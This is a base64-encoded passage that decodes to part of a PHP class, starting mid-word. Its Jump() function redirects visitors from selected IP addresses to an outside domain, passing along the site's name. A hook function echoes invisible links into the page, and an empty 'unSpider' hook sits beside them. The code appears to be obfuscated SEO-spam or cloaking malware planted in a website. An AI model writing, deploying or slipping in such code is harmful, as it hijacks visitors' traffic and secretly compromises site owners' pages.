bmN0aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJJGRvbWFpbiAgPSBz dHJfcmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4pOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiBo dHRwOi8vbnQud3hjb29sYmFieS5jb20vbnQvP2pwXycuJGRvbWFpbik7CgkJCWV4aXQ7CgkJfQoJ fQoJCglwdWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9uX2hvb2soKXsKCQkkYXJyYXkgPSBhcnJh eSgpOwoJCWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVjaG8gJzxhIGhyZWY9IicuQXBwX0dldExp bmsoKS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gX3VuU3BpZGVyX2hv b2soKXsKCQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24gc3RyU3RhcnRXaXRoKCRuZWVkbGUsICRo YXlzdGFjayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhheXN0YWNrLCAwLCBzdHJsZW4oJG5lZWRs ZSkpPT0kbmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5k KQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgo=